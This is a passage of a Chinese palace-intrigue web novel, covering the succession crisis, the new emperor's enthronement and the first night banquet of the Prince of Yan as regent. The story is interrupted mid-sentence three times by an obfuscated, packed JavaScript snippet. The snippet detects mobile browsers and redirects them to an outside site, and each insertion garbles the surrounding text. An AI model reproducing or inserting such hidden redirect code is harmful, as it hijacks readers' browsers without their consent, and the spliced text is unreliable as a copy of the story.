你肯先退半步,我自也识趣顺坡下半步,有余地的情况下,没人愿意鱼死网破。这就是官场之中彼此默契的成例。 事情发展至此,陈今昭终于得以喘口气,浑身都松懈下来。 大人物的博弈终于初见分晓,余下的官员们也算劫后余生了。 接下来只剩选定新君继位,待尘埃落定,他们这些皇都旧官就能彻底从凶险局中逃出生天、活得一命了。 这会雨越下越大,直至暴雨滂沱而下。 连月来紧绷的身心猛一松懈下来,她整个人就有些昏昏沉沉,恨不能趴在冰凉的雨水里昏睡个痛快方好。 冰凉的雨幕冲刷着她的脊背,她近乎是浑身泡在冰凉的雨水里,沁入肌理的寒意初时还能激起她几分清醒,可很快身体的逐渐失温就让她眼前阵阵发黑。 “陈编修!陈今昭!你能听见我说话吗陈今昭!” 耳边炸响的呼声让陈今昭猛然清醒!她虚脱的勉力睁眼抬头,就见到对面的鹿衡玉正白着张脸死命掐着她人中。 人中处后知后觉的剧痛直冲脑仁,陈今昭痛得倒抽口凉气,眼泪都快要冲出来。 见对方总算清醒了几分,鹿衡玉才松了手,一把抓住她的胳膊,用力将她从地上拽起。 “快走,那个公孙让我们进殿了!” 雷雨声中,他的话语虽不清晰,但“进殿”二字却格外分明。 进殿,能进殿了! 陈今昭瞬间振奋,拼尽全力撑起双腿,在鹿衡玉的搀扶下,艰难地迈上通往宣治殿的台阶。 两人浑身湿透,步履蹒跚,宛如两只落汤鸡在雨中艰难前行。 沿途,他们看到不少昏厥的朝臣,无一例外地被士兵像拖死狗般拽着衣领前行,场面狼狈不堪,令人目不忍睹。 两人皆心有戚戚焉。 陈今昭不由朝鹿衡玉投去感激的一眼,关键时候还是她的话搭子靠谱啊。 6.第 6 章 陈今昭只觉得,她与鹿衡玉如同历经了九九八十一难,方终于踏过汉白玉阶迈入宣治殿。甫一进殿,她双腿便似灌铅般再难挪动分毫,身侧鹿衡玉亦好不到哪去,双腿直打摆子颤抖如风中残烛。 二人顺着殿门瘫坐墙角,湿透的官袍不断淌水,青丝黏着惨白面容,好似两只刚爬出深潭的水鬼。 此时军士们抬着炭火燃烧着的火盆与一桶桶热气腾腾的姜汤,鱼贯而入。 随着火盆与姜汤分发下去,很快殿内的温度就渐渐升上来了,众臣湿冷的身体也多少回暖了过来。 陈今昭跟鹿衡玉也很快分到了火盆跟姜汤。 本来没那么快轮到他俩的,按规制该先奉予王公重臣,而后再按品阶依次分发,但有个彪悍的大将大抵是见他们二人缩于角落瑟瑟发抖,实在孱弱可怜,竟越过品阶将火盆与热汤先递了过来。 陈今昭哆嗦着捧起汤碗,甚是感激的道了句多谢。 那虎将挑了下眉,上下打量了番脸白如鬼的她,又随意打量了下抖抖瑟瑟捧碗狂饮的鹿衡玉,咕哝一句,而后丢给他们两只弱鸡个鄙薄又同情的眼神。 一碗姜汤下肚,陈今昭僵冷的手脚方才恢复些许知觉。 正捧着空碗感受碗壁余温之际,突然手上空碗一沉,突如其来的重量让毫无防备的她手忙脚乱了一阵。不过碗内腾腾的热气与窜入鼻间的米粥香气,随即就让她反应过来,当即满脸感动的看向面前人。 面对身前小白脸那感激的眼神,虎将从鼻腔里发出哼的一声,而后拎着盛放米粥的木桶走向鹿衡玉,从里面舀了一勺浓稠米粥重重盖在对方碗里。 鹿衡玉亦是感激极了。 这汉子看着凶恶,但人却是真的好啊。 待喝完了热粥,没过多时,他们二人碗里又各自多了碗黑色浓稠的驱寒汤药。 闻着那扑面而来的刺鼻苦药味,二人脸色肉眼可见的耷拉下来。偏那虎将不知是得了何种看西洋景的乐趣,不仅盯着他们喝汤、喝粥的样子看,这会还杵那不走,似要继续盯看着他们喝药。 陈今昭与鹿衡玉眼角抽动。 捧着药碗与对方僵持了一阵,见对方就是不走,眼见着药越放越凉,他们也只得无奈妥协。毕竟这药也不能不喝,若真染了风寒,可不是闹着玩的。 陈今昭深吸口气,偏过身无视上方那稀奇打量的目光,咬牙闭眼就捧起碗。她这里还算好些,捏着鼻子还能勉强将苦药汁子给灌进去,反观旁边的鹿衡玉,那可真是一口苦药一干呕,眼见着脸儿都给喝绿了。 到底是富贵窝里养出的娇公子,纵是家里一堆烂事,可衣食住行上面到底不会短缺了去。放在往日,若是少了那入口送服的蜜饯子,他可是半口苦药汁子都喝不下。 两人的窘态无疑是看乐了跟前那抱臂而立的虎将,他嘿嘿冲二人龇牙一笑,当然自也少不了丢他们一记鄙薄的眼神。 陈今昭药碗见了底,终于结束了这煎熬。 鹿衡玉余光瞄见,顿感压力,当即心一横,也捏了鼻子往下生硬直灌—— 而后,陈今昭就那么眼睁睁的看他死命捂紧嘴巴,狰狞着脸,梗着脖子翻白着眼儿拼命往下咽……几乎瞬息,两管浓稠的黑色药汁,就那么悄无声息的自他鼻腔里,蜿蜒而下。 那虎将看呆了,陈今昭也看呆了。 接下来的很长一段时间里,鹿衡玉都木木的面向殿门坐着,周身都散发着生人勿近的气息。 那虎将倒也好心的给倒了碗温水来,当然若他双肩不震抖地那般厉害的话,相信鹿衡玉或许也会多少感激他一二。 殿外雨势愈大,而殿内也渐起了喧杂声。 所论的自是那立储之事。 大殿中央,朝中的那些顶梁们围着公孙桓,进行着新一轮的争辩。周围官员三三两两的议论开来,声音嘈杂在一处。 陈今昭倒是想竖起耳朵探听些时局动向,但声音太多、太杂,隔的距离又太远,满耳朵的声音,却始终听不到重点。 随着时间的推移,一股浓重的困倦感慢慢袭上颅顶。 这个时候的她就不得不佩服殿内那些上了年纪、此刻却仍有力气慷慨陈词的朝臣们。想这些朝臣们,昨夜在周府里熬过通宵密谋,清早又淋着晚春凉雨唇枪舌战,其间还夹杂着场撕心裂肺的哭灵,经历这般连番折腾竟还能在此争辩不休,如此良好的精神状态,着实令人羡慕不来。 时间愈久,她愈困顿,先前的疲、乏、累一股脑的翻涌而上,湿冷交加的身体撑到此刻像是到了极限,这会如灌了铅一般迟钝、沉重。 唯恐错失重要信息,她强忍困意将眼皮撑开条缝,伸指戳了下旁边面向殿门的鹿衡玉。 “你……细听着些啊。” 鹿衡玉脸贴着殿门,睡得人事不知,偏还能抽空应了陈今昭一声,“你也谨听,万莫漏下关键……” 听到应声,陈今昭顿时心安了。打了个呵欠,泪眼模糊的给了他一句,“放心。” 于是,睡梦中的鹿衡玉同样心安了。 陈今昭再次睁眼时,人已经躺在了自家衾被之中。 绣山茶栀子花图样的锦被里烘着融融暖意,外头暮色天光,暴雨不知何时已歇,几缕残阳透过雕花窗棂间漏进屋里。 短暂反应过后,她猛地起身! 她,她何时回来、又是如何回来的? 等一家子听见动静,都进了屋围上来嘘寒问暖时,她赶忙询问相关细节。听闻她与鹿衡玉是被宫中车马拉到了宫门口,之后又被各自的常随扶上各家车马拉回家中时,陈今昭方长松了口气。且据长庚所说,当时不止他们二人,其他朝臣亦是乘了宫中车马至宫门,再被各家随从或扶或抬至各府车上。 还好,还好, 万幸,万幸。 知晓没有节外生枝,陈今昭就安了心。 至于她是如何从宣治殿到的殿前的宫廷马车上,她这会还只当是她那话搭子的功劳,就没多在意。直至一日后与鹿衡玉一对账,方惊闻原来当日她竟也没逃过被拎走的命运! 据那鹿衡玉事后回忆,那位膀大腰圆的虎将拎她如拎鸡仔,三步并作两步跨下九级白玉阶,将她甩进了殿前停靠的马车上。 当然,鹿衡玉同样也没躲过这茬。 听说那位虎将左手提她,右手拎他,悬空拖拽着他俩前行,场面堪称狼狈。唯一让人心有安慰的是,那公孙桓到底存了些良心,提前让人在殿前备好了马车,多少给连带她在内的朝臣们留了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15254451|166202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些体面,好歹没让那些粗鲁的军汉们,将他们给一路提溜到宫门口。 言归正传,此刻裹紧被子倚靠床头的陈今昭,彻底放松了连日紧绷的身心,边眯眸惬意舀着热气腾腾的酒酿圆子吃着,边支耳细听着陈母转述黄门传达来的诏令。 “……罢朝一日,宣你们这些朝臣后日再入宫哭灵,三日后再先后送先皇及太子殿下棺椁入皇陵。”陈母怕她冷,忙用铁钩将火盆往床头方向又勾近了些,絮叨了声,“明个哪也不许去,好生在家养着,今个本就遭了番大罪,后几日指定又是番奔波劬劳,不养好身子,如何捱得住?” 陈今昭无有不应。 “娘,家里的一应事务可准备齐整?” “自是当然。雨稍停一些,我与幺娘就赶紧去布坊扯了块白布,又去纸马铺子买足了香烛纸钱、白纸灯笼、挽联等一应用物。一切都采买齐全了,你放心便是。” 陈今昭点头,兀自捧着热碗沉思了一会。短短停灵三日就下葬,本朝先帝与储君的丧仪,怕是亘古未有之仓促与草率。朝中名公钜卿们铁定不满,不过最终能通过决议,想来在与那兖王一方的博弈中落了下风。 再者,皇都动乱数月,国朝秩序亟待恢复。人心动而思变,正值国无主君朝纲动荡之际,一旦国朝再遭遇个天灾人祸,难保不会有群雄趁此时机揭竿而起,到时再各方响应,那便要天下大乱了。 所以,早些办了国丧,早些让新帝灵前继位,继而早些恢复国朝秩序、稳定朝纲,也何尝不是件好事。 思及新帝继位这事,陈今昭就不由努力回忆了番,可惜当时殿中她耳畔的犹似裹了棉絮,入她耳的朝议声无不稀稀落落,似有"立贤"与"立长"的争议声,不间断的在她混沌意识中载沉载浮。 思索无果,她索性就不再去想,经过了八王之乱,如今宫里尚存的只有唯二两个小殿下,无论哪个登基,也不过是各方博弈的结果。 陈母直待她回了神,方几分期许的看着她问了句:“今昭,这朝局是不是就要稳当了?” 围坐床边的稚鱼与幺娘也都不由屏息,静待着答案。 今日的陈今昭当真是吓坏了一家人,她生死不知的被人抬下来的场景,至今想起她们都心有余悸。 面对一家人期期艾艾的目光,陈今昭给了她们明确的答复:“既然连发丧的日子都定好了,那朝局自是要稳当了。待办完国丧,新皇登基,咱们的日子就会恢复如初,再也不必担惊受怕了。” “好,好,稳当就好啊。”陈母颤抖着嘴唇连声重复道。 稚鱼幺娘她们闻言也皆如释重负的大松口气,偏过脸拿帕子擦擦湿润微红的眼角。这些时日一家子头顶都仿佛悬了把将落未落的铡刀,死亡的浓重阴影笼罩头顶,让她们寝食不安,宛如金弓之鸟,稍有风吹草动就心惊胆丧。经历了动荡,方知平安二字的宝贵。 陈今昭拉过她们,转而说起了京中的一些趣事。 不多时,室内就传出了欢声笑语。 窗外,夕阳余晖斜照大地。 最后一缕金红自雕花窗棂斜切而入,光斑在时间中游走,细碎的金屑跳跃游弋,穿梭在室内说说笑笑的一家人中。 雨过天晴,一切都过去了。 7.第 7 章 五月初,满朝文武经历了史上无比荒诞的送灵仪式。 走在队伍最前方的是个斜眼歪嘴、口滴涎液的皇子,他被左右宫人搀架着前行,时而躁动不安的嚎叫扭动,时而胡乱挥舞着手里白幡发脾气打人,过不多时开始啊啊的哭,稍顷又咯咯的笑。 皇都长街之上,怪诞的刺耳尖闹声不绝于耳,与本该庄严肃穆的国丧奠仪格格不入,简直荒诞滑稽,令人啼笑皆非! 与之相比,国丧的仓促简陋、大行皇帝与先储君的棺椁同日入陵、甚至周首辅与兖王因哀毁过甚未预此间丧仪等,反倒都成了微不足道的小事。 其后披麻戴孝的文武群臣寂若死灰,不少人面色青白,闭眼抚胸急喘粗气。更有扶棺的国朝重臣直接气急攻心厥过去,被宫中禁卫无声拖走。 此间消息很快就传到了周府,本就命若悬丝的周首辅惊闻此闹剧,当即就出气多进气少,差点随先帝与先储君而去。 那皇三子,先帝都不承认的存在,姬寅礼却将其从冷宫放出、更还以皇长子身份参与国朝丧典,当真是其心可诛啊! 直至棺椁入陵,地宫封闭,阖朝百官哭丧毕启程归来时,大半朝臣仍浑噩不止。自皇三子被公孙桓带到人前那刻,他们就似灵魂出窍,知情的还好,勉强记起这位生来不详的禁忌在,不知情的骤然直面那涎溢襟袍的皇三子,霎时如遭雷击! 无他,这位皇三子年岁居长于皇五子、皇六子。 而当日宣治殿内朝中各派系为‘立长’‘立贤’争个昏天地暗,最终在无嫡立长的正统大义面前,‘立长’压过了‘立贤’。他们满心以为的‘立长’是两位稚龄殿下的居长者,如何料到会凭空出现个,皇三子? 便是从前知晓这位殿下存在的人,怕在当时也没记起这位。一个被先皇及宗室忽略十多载的傻皇子,一个被禁中秘其消息的存在,要他们一时半会如何记得起来? 立长,立长!若当真立了涎垂龙衮的新君,那满朝臣工便要清誉尽丧,他日青史铁笔,庸臣之名必贻后世!这简直比杀了他们还难受。 可若不立……国朝大事岂当儿戏?既是立长,自是无关贤愚,这是无可争议的事实。当日宣治殿内,他们这些臣工已经联署了劝进表彰、百官誓书,三公九卿朱砂署押,存于兰台秘府为凭。 换言之,皇三子践祚之议已成定局,再无更易之机。 兖王未令其在柩前即刻登基,已算是给足群臣反应时间。 国丧之后,便是要准备新君继位大典。 较之仓促如儿戏般的国丧典仪,新君登基大典则被上头给予了足足一月的准备时间。 饶是时间相对充裕,各部衙门依旧忙得脚不沾地,紧锣密鼓的准备着新君继位的各项工作。尤其是翰林院,不仅要恭撰传位诏书,还要制登基仪注、修告忌天地祝文、编纂嗣统宝训、朱笔点勘金匮玉册丹陛文移等。 就连陈今昭与鹿衡玉这等边缘人物都被派上了用场,与其他编修一道备太庙谒祖典册。 接下来的一个月,陈今昭忙得昏天地暗,日日披星戴月而归,直累得她下值归家后连饭都顾不上吃几口,恨不能倒头就睡。 不过虽是忙累,可较之获派登基大典实录之职、须秉笔直书新君德音的同僚,她的这点累当即就不算什么了。没见她的那位同僚短短几日时间嘴上就起了燎泡,人也消瘦了许多,整日愁眉苦脸如丧考妣,让人看着都觉可怜。 这期间,朝中发生了件大事——病中的周首辅用了封驳之权,上书驳斥了立皇三子为帝的提议。此事很快就传遍了朝野,各部衙门对此反应不一,在一定范围引发了喧哗。 当日,兖王就以朱批给了批复,仅两句—— 以幼凌长,不符伦常之道; 首辅废长立幼,恐有摄幼主而总万机之嫌。 仅此二句,周府沉寂下来,也让观望事态发展的那些两朝老臣们几多叹息。 昔年他们以伦常压了文帝废长立幼之念时,何曾想到今日会被兖王反以伦常二字回敬。伦常二字重重压下,周首辅还能再如何驳斥,总不能自打嘴巴,昭告天下昔年进言皆是他一国辅臣的莠言乱政。 再有诸多不甘,如今也只能接受现实。 得到批复的周首辅其心绪如何起伏众人不知,只知当夜太医院的半数太医都进了周府,兖王还命人送过去两车上好药材。 京中诸多府邸灯火彻夜通明,直至翌日得知周府并未挂白,朝臣们才长松了一口气。周首辅德高望重,深受百官信服,另一方面,他们也希望新皇登基大典能顺利进行,不再节外生枝。京中动乱太久,谁都渴望早日恢复安稳的生活。 六月初五,天朗气清,是钦天监卜算的黄道吉日。 卯初时分,鸿胪寺官引王公百官于宣治殿前依品级列班,数千人垂首静候。吉时将至,三声静鞭响彻云霄,丹陛大乐奏《庆平之章》。 “开——”伴随赞礼官高宣,宫门前持戟武士整齐划一推开庄严巍峨的朱红殿门,重重宫门次第洞开,晨曦的第一缕金辉刺破云层,普照在自宣治殿前延伸而出的蟠龙御道上。 王公百官抬目远迎,就见御道尽头,两道人影沿着次第排开的五色仪仗,踩着蟠龙毯于编钟的清越声中缓步走来。 左侧那人身量极高,牵着旁边新君的手,雍容雅步,襟度恢廓,玄色织金五爪团龙蟒袍衣摆随步幅漾开纹路。 对于众人或直白或隐晦的打量,他不以为忤反而回以温煦平和的目光,雍容雅量,自有一番恢弘气度。 与其王仪天成的气度相比,七旒冕冠垂珠后的那天骨遒美,似镶金雕玉般华贵的面相,倒成了最不足道的边角。 王公百官几乎难以相信,此人便是杀名满皇都的兖王。 自打兖王入京,就如猛禽过境,虎兕出没,行事作风灭绝人性,比之八王更为凶残狠辣!皇朝诸公对他深恶痛绝,私下更是骂其为酆都恶鬼,元恶大憝。 尤其在对方一日杀三公、又疑似鸩杀太子后,诸公对兖王的印象更是差到极致,自发将其面目与穷凶极恶的悍匪勾连。众人都信相由心生,兖王那般凶性之人,其本人即便不是面目可憎,也必是杀伐毕露、桀骜凶残的面相。 可今日目睹真容,对方却与想象中的模样大相径庭! 抛开其他勿论,就那般浑然天成的恢弘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15260076|166202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气度,雍容华骨,自带一股人主之风,倒也难怪那公孙桓对其如此推崇,三句话不离一个吾主。 满朝诸公内心翻江倒海,望着由远及近的人,目光复杂。 陈今昭在诸公抬目远迎之际,亦随之朝着御道上方位望了眼。她瞧过去的时候,恰逢那兖王朝她对面的方向微侧脸以目示意,对方右侧下颌处的寸许刀痕就恰被她瞧个真切。 但见那刀痕极深,自其右下颌斜劈至下,没入深红绣银龙的领口。入眼能见的寸许疤痕甚是狰狞,宛如恶龙盘踞。 她没敢再细瞧,仓促一眼过去,就忙移了目光。 数百披甲悍将在新君与兖王身后、于两臂远处亦步亦趋的跟随,军容整肃,兵戈森然,肃杀之气扑面而来,无声震慑着在场诸人。 御道上的人由远及近,待快近前时,诸公无不垂手垂目,凝神屏息。陈今昭亦是如此,直待那勾勒金蟒纹的黑靴打她眼底经过、走远,方敢小心轻呼口气。 接下来的登基流程皆按规制进行。当然鉴于新君情况特殊,祭天礼与告庙仪式已在寅初时刻由礼官代为完成。 即便如此,新君登基仪式依旧繁琐,鸿胪寺官宣《即位诏》后,授传国玉玺于新君。 “兴——” “拜——” “山——呼——” 随着赞礼官的宣声,亲王宗室三跪九叩,文武百官依品级朝拜。 兖王携新君站在九层高台上,一同接受朝贺。期间,新君几次不耐烦的拽着额前九旒冕垂珠,扭动身体几欲烦躁出声怪叫,每每此时,兖王就会垂眸无声看他一眼,只这一眼就能让那新君缩了脖子,霎时老实。 随后就是颁布恩诏,赦免非十恶罪犯,减免赋税徭役。同时宣布改元康平,铸印新历颁行全国,各州府誊黄宣示。 大典至最后,便是册封赏赐。黄门手捧圣旨面向殿前王公百官,高声宣读新君颁下的封赏圣旨。 圣旨共有两道, 一道是追封圣旨,追封兖王生母元妃为太皇太后,迁棺椁入乾陵与文帝同葬。礼部拟尊号孝圣慈懿昭德庄敬太皇太后,足足八字谥号。 另外一道是册封圣旨,封兖王为摄政王,摄国治权,代天子执政。 朝中诸公尤其是高品阶重臣们对圣旨内容毫不意外,毕竟这是双方博弈后的结果。当日在宣治殿,公孙桓与众人唇枪舌剑,以不容置喙的强势姿态迫使他们承认这两项条款,分毫不得更改。 宣读完毕,那黄门将重新卷好的圣旨小心捧递给旁边的礼官后,趋步至九阶台上的摄政王面前,得了指令后就再次面向王公百官,高声宣道: “传摄政王千岁令—— 新帝登基,举国欢庆,宫中将行夜宴三日,宴飨群臣; 礼毕后,诸公且自行散去,回府稍做歇整,于戌时入宫,参加夜宴!” 待见高台上的人颔首,那黄门又高声宣:“恭送新帝与千岁,拜——” 殿前乌鸦鸦的王公百官再次朝两侧潮水般而退,叩首齐呼—— “恭送圣驾,万岁金安,圣躬万福——” “恭送王驾,威仪长存,谋猷安邦——” 8.第 8 章 礼成钟歇,嗣位大典至此终于告讫。 直到国朝两位至尊的銮驾消失在宣治殿宫门,偌大的正殿前庭方由静转动,满场诸公或走动寒暄,或结伴离开,再或三五成群低声窃语,千余人的殿前顿时嘈杂声入耳。 陈今昭与鹿衡玉自是结伴离宫,身体虽疲累,精神却难得亢奋。想那兖王入京数月,他们耳中就听了其传闻数月,如今终于亲眼目睹了真容,二人内心自是难掩激荡。 不过那人当真是出人意表。难以想象,那般浑身雍容气度之人,就是那以虎狼之势杀进皇都、双手沾满公卿鲜血的那个兖王。 实在是与他们预想中的,那铁血煞气震慑群臣的悍戾模样,出入太大了。 二人对此虽然想谈上两句,但都硬生生忍住了。宫中行走行事,再小心都不过,所以这些年在宫里,他们二人从来不言及政事哪怕半字。 宫里头的人都是顺风耳,或许连那道旁的草木都长着耳朵,此刻的话出自他们口,但下一刻这话指不定就入了谁的耳。 谈不得这敏感话题虽有些遗憾,但嗣位大典顺利告讫,却也让人若释重负,内心不胜惬怀。 至此,总算是关关难过关关过了。 即便皇三子智力有缺,可顺利登基了就也算国有新君了,便也意味着国朝秩序恢复,他们这些朝臣的日子也安定下来,如何不值得高兴? 通往宫外的青石御道上,铺满了鎏金日辉穿过葱茏枝桠投下的细碎金芒。初夏午后的阳光融着暖意,照着人身上暖洋洋的。 他们二人边宫外走,边惬意的闲话家常的闲谈几句,谈到香火鼎盛的法华寺,就口头约好改日一同去烧香拜拜。 “待去了法华寺,我定要请奉个转运符,愿能时来运转求个后福。” “否极泰来,是要寻个。届时我去求个太岁符,万望往后能平安顺遂。” “算起来,再过五日便是休沐日了。” “谁知道还会不会正常休沐。” “但愿能如常,好歹让人缓缓乏,这段时日着实累得很。” “谁说不是,至今我这脑袋都沉得要命。对了,你要几时出府?” 陈今昭就抬头看看偏移的日头,已过未时,时间不早了。 “宫宴迟不得,我家又离得远,估摸回去沐浴一番换身衣服,就得赶紧出发。” 闻言,鹿衡玉点头,“那我酉时左右出府。” 两人有一搭没一搭的闲聊,正聊着时,正前方百十来步,那绣鹤纹朝服孤傲挺直的背影,不期落入两人眼中。 不是那沈砚又是何人。 放在往常,他们见到此人,一贯以无视来对待,偏那沈砚又开始作妖。但见他无意间回头看见他二人,下一刻却竟肉眼可见的加快了步伐!当真是袍袖生风,疾步如飞,恨不得远离他俩十万八千里。 那彷如有狗在追,极力与他们二人撇开关系、唯恐避之不及就被污了清名的模样,让人看了如何不来气?没见鹿衡玉那张俊脸都开始微微扭曲。 “陈今昭你说,他咋不上天呢?上天做仙鹤多好!” 陈今昭切齿:“其颅内有疾,不必理会。” 话虽如此,可二人仍觉胸中淤堵,郁气喘不上下不去。 两人恨恨一拂袖,满脸郁色的出了宫门。 这可恨该死的沈砚,每每见他,都足矣败他俩一天好心情! 陈今昭回了永宁胡同,一家子如何欢喜自是不必多提。 如同她所料,简单收拾一番后,就到了要入宫参加夜宴的时候。她也不敢多耽搁,与家人们匆匆叙话几句,就上了马车紧赶慢赶往皇宫方向而去。 她与鹿衡玉进宫时已经夜幕低垂,御苑内每隔十步的赤绢描金立柱宫灯次第亮起,映的柱下花团锦簇的魏紫牡丹泛着鎏金。由宫人引领来到各自座前,此时陈列御苑的十二列紫檀食案前,已经有不少群臣落座,捧着描金漆盒的宫娥们鱼贯而入,在各列食案前摆放着各色点心以及美酒佳肴。 二人几乎刚落座,就有宫娥上前呈上糕点。十二小盘点心堆做了青山状,每道都暗合四时八节,制作精美小巧,观之赏心悦目。 见陈今昭的目光在冰酥酪、缠丝赤枣、水晶龙凤糕等几道宫廷名贵点心上几番打量,鹿衡玉知她惦记家中小妹,遂拿胳膊拐拐她,示意她看他宽袖中的一沓油纸。 “等散场,连带我那份也带给小妹。这等宫制细点宫外难得一见,怎的也得多带些回去,万不能短了咱家小妹的零嘴。” 陈今昭感念他有这份心意,就道:“等回头送你幅画。” 听对方又拿糊弄王公大臣那套来敷衍他,鹿衡玉内心呵呵两声,就死抠吧,连说请他吃顿酒都不舍得说。 若陈今昭知其内心所想,定要大呼冤枉,从前她也不是没请过他去吃酒,偏他这娇公子嫌小酒馆埋汰,一顿饭下来就没用上几口,硬是让她那顿酒菜钱打了水漂。 可别妄想着让她宴请他去酒楼或那些所谓的清雅之所,她的家境贫寒那是满朝皆知,指望她花大价钱去请客,还不如将她拆骨剥皮的卖上几两来的实际。 戌时二刻,朝中重臣们也陆续到场,众人起身问安。 国朝顶梁们相互寒暄着往各自的位子走去,路过陈今昭他俩的食案前眼风都不带扫。对此两人也习以为常,边缘人物有边缘人物的待遇,他俩充其量就是来混个席面的,对此认知他们再清楚不过,遂也没什么不自在的。 就如太初年间参与的那些宫宴,他们在宴席上该行礼就行礼,该问安就问安,上头让敬酒就齐齐举杯,让喝彩就股掌叫好,若是有飞花令,那就中规中矩的做首诗,不出挑也不逾矩,然后吃吃喝喝的捱完整场席宴。 今日的这场夜宴,想来与从前的宫宴应也相差无几。 左右也不过这套流程,他们应付起来早就驾轻就熟。 戌时三刻,喧哗声止,整个御苑静穆了下来。 随着鼓乐声响,静鞭三声,执金钺、斧钺的肃卫仪从分立两侧,其后黄罗伞扇引导、五明扇开阖的法驾徐缓停驻。 总管太监高唱:“圣驾、王驾到——” 文武百官绕到案前,齐齐伏跪迎候。 姬寅礼走下鎏金銮舆銮,却并未如大典时那般携新君同往,反倒低语嘱咐侍从,将圣驾上熟睡的新君仔细抬回寝殿。 转身缓步走向群臣时,他边抬手虚扶,边随和笑道:“今夜阖宫同乐,公卿们不必拘礼,快快请起。” 明明是平缓的语调,可语气里的疏朗与包容却是真实不虚,听在满场诸公耳中,竟让他们有种来者颇具胸襟之感。 大抵因是夜宴,今夜他穿着较为随性,朱红常服配通犀环玉带,行走间步履雍容,既有身为统帅的疏放,又不失皇家贵胄的矜贵。 明知此人杀伐成性,可此刻听其声、观其面,一时间竟也让人难生恶感,亦很难将其与其所为联系起来。 姬寅礼并未直接走向主座,反而先朝向左列上首位置,几步过去,感慨而熟稔笑说,“林大人,你我许久未见了。” 内阁大学士林同炳惊见是朝他过来,惊异之余忙又赶紧见礼,却被来人温和有力的托起。 “林大人怎也如此多礼?” 姬寅礼不赞同的轻责,看着对方沧桑的面容,一时间百感交集,“上次见时,你尚英姿勃发,而今再见,你却已华发丛生。” 纵对其有再多芥蒂,这一刻的林同炳也被此话牵动了几分伤怀。恍惚忆起往昔,犹似昨日。 “是啊,不知不觉,十载光阴已过。臣等都老了,殿下也长大了。” 姬寅礼握住对方的手,声音温煦,“可在寅礼心里,林大人却亦如往昔,清正,磊落。犹记我当年离京之时,多少人避之不及,唯有周老首辅与林大人两位不顾人言特来相送。临别相送之恩,此生难忘。” 林同炳不由忆起了十年前的那个寒夜,天子骄子一朝跌落神坛,满身狼狈的被连夜驱赶出皇城。他犹记得当年那双狼崽子一般的凶恶目光,冒着荧荧绿光,似要灼灭天地万物,淬着恨毒的杀机。 每每想起那双眸子,他都只觉惊怵非常。就算是如今,哪怕面前之人雍容华骨,哪怕那双眸子如今真诚含笑,在直面时他依旧会心中莫名发紧。 大概刚才提及了周老大人,姬寅礼就关切的问了其近况。 林同炳定了神,斟酌片刻,选择性回了句:“周首辅哀毁伤身过度,需静养。” 姬寅礼叹口气,倒也没多说什么,只是几多怅然。 “林大人再去周府探望时,千万多加开解,让老首辅切莫动气,好生静养。告诉他,国朝离不开柱国基石。”拍拍他的手,温热的掌心传递着温度, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266848|166202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “林大人也需多保重身体,国朝离不开柱国基石,但同样也离不开社稷肱骨。” 良言一句三冬暖。面前之人,温语煦言,随和宽宥,他的殷殷嘱咐推诚不饰,他的体恤垂念正心诚意。 林同炳自诩心如坚石,可这一刻的内心也到底生出几分动容。片刻的恍惚间都似忘了,在皇都大开杀戒的那个他,将朝臣近乎逼近死绝胡同的那个他。 姬寅礼最后拍拍林同炳的手,方缓步走向主座,面向满朝公卿双手下压示意。 “都坐,今夜与诸公共聚此间,是为庆贺,是以不必顾忌诸多虚礼。”他说话语调平缓,稍慢,低哑,带着安定人心的力量。落座后,环顾满朝公卿,又笑说,“本王初回京城,诸事生疏,还需仰仗诸公坐镇,让百废待兴的国朝重拾章法。” 满朝公卿皆躬身道不敢,言道愿为国朝鞠躬尽瘁。 姬寅礼掌心下压,再次温言让诸公快都落座。 示意侍从端来美酒,他端过后朝诸公遥遥举杯。 “今日设宴,一为庆贺新君登极,二为犒赏诸公辛劳。再有其三,就是与诸君共叙情谊,愿此后岁月,得诸君共勉,共襄盛世!” 林同炳带领满朝公卿起身举杯。 “愿与千岁共襄盛世!” “好!来,吾与诸君满饮此杯!” 夜宴第一杯酒入腹后,场内气氛总算多了几分热络。 主座上的人为让在座公卿勿拘常格,简单道了句诸卿尽情开怀畅饮后便不多言,直接抬手让龟兹乐姬上场。 丝竹琵琶声很快在御苑上空回旋,舞姬们提着错金莲花灯,踏着《清平乐》的旋律翩跹而来。她们身着彩衣,舞姿婉约,月色下翩翩起舞宛如那天宫仙娥。 起先,满座公卿们尚且拘谨,直待场中歌舞渐入佳境,方稍有放松。尤其是暗中观察到,主座那位只顾品着佳肴美馔赏着歌舞,除此之外也就与左右人时而笑谈两句,再并不额外去关注在座的公卿大臣们,他们这才慢慢放开了约束。 